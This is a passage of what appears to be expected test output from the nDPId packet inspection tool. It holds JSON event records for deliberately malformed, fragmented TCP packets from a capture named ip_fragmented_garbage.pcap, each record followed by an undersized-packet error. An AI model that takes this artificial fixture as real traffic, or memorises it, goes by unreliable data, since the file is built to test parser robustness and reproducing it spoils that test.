-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8844,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgnkAGRRMKAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212497} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8845,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgoEAGRREKAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212509} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8846,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgokAGRQ8KAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212521} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8847,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpEAGRQ0KAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212533} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8848,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgpkAGRQsKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212545} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8849,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqEAGRQkKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212559} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8850,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgqkAGRQcKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212571} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8851,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrEAGRQUKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212584} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8852,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgrkAGRQMKAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212596} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8853,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgsEAGRQEKAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212608} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":8854,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgskAGRP8KAAACCoAAAlI\/NzQ4Mzk2KSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212621} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8855,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtEAGRP0KAAACCoAAAkAhQCMkJV4mKigpKComXiU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212633} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8856,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgtkAGRPsKAAACCoAAAiQjQCMkJV4mKigqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212645} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8857,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAguEAGRPkKAAACCoAAAiYqKEtJSkhHRkQyKiZERkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212656} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8858,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgukAGRPcKAAACCoAAAkhKSyZeJSQjI0VUUiVZXlU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212669} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8859,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvEAGRPUKAAACCoAAAiZJKk9QeyI6aGRmbGtkYT4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212681} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8860,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgvkAGRPMKAAACCoAAAkw8TU5CSEdGREVXI0AkJV4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212693} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8861,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwEAGRPEKAAACCoAAAkhCR1YKNDIxNDYzMTk4MjA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212705} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8862,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgwkAGRO8KAAACCoAAAjUxKSgqJl4lJCNAIyQlXiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212717} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8863,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxEAGRO0KAAACCoAAAiooKiZeJSQjcnNkbHVoZ2s="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212732} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8864,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgxkAGROsKAAACCoAAAmZkc2JrbnZjLy50Z2Z0Zz8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212744} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8865,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgyEAGROkKAAACCoAAAkdSP0dSP3NSPzc0ODM5Nik="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212757} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8866,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgykAGROcKAAACCoAAAigqJl4lJCNAIUAjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212769} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8867,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzEAGROUKAAACCoAAAigpKComXiUkI0AjJCVeJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212781} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8868,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgzkAGROMKAAACCoAAAigqJl4lJCMmKihLSUpIR0Y="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212793} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8869,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0EAGROEKAAACCoAAAkQyKiZERkdISksmXiUkIyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212805} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8870,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg0kAGRN8KAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212817} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1EAGRN0KAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212830} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg1kAGRNsKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212842} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2EAGRNkKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212855} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg2kAGRNcKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212868} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3EAGRNUKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212880} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg3kAGRNMKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212892} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4EAGRNEKAAACCoAAAjc0ODM5NikoKiZeJSQjQCE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212904} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg4kAGRM8KAAACCoAAAkAjJCVeJiooKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212916} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5EAGRM0KAAACCoAAAkAjJCVeJiooKiZeJSQjJio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212927} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg5kAGRMsKAAACCoAAAihLSUpIR0ZEMiomREZHSEo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212939} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6EAGRMkKAAACCoAAAksmXiUkIyNFVFIlWV5VJkk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212951} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg6kAGRMcKAAACCoAAAipPUHsiOmhkZmxrZGE+TDw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212963} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7EAGRMUKAAACCoAAAk1OQkhHRkRFVyNAJCVeSEI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212976} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg7kAGRMMKAAACCoAAAkdWCjQyMTQ2MzE5ODIwNTE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212987} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8EAGRMEKAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033212997} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":8886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg8kAGRL8KAAACCoAAAiomXiUkI3JzZGx1aGdrZmQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213006} -00359{"packet_event_id":1,"packet_event_name":"packet","packet_id":8887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244033211391,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAg9EAGRL0KAAACCoAAAnNia252Yy8udGdmdGc\/R1I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":8888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244033213014} 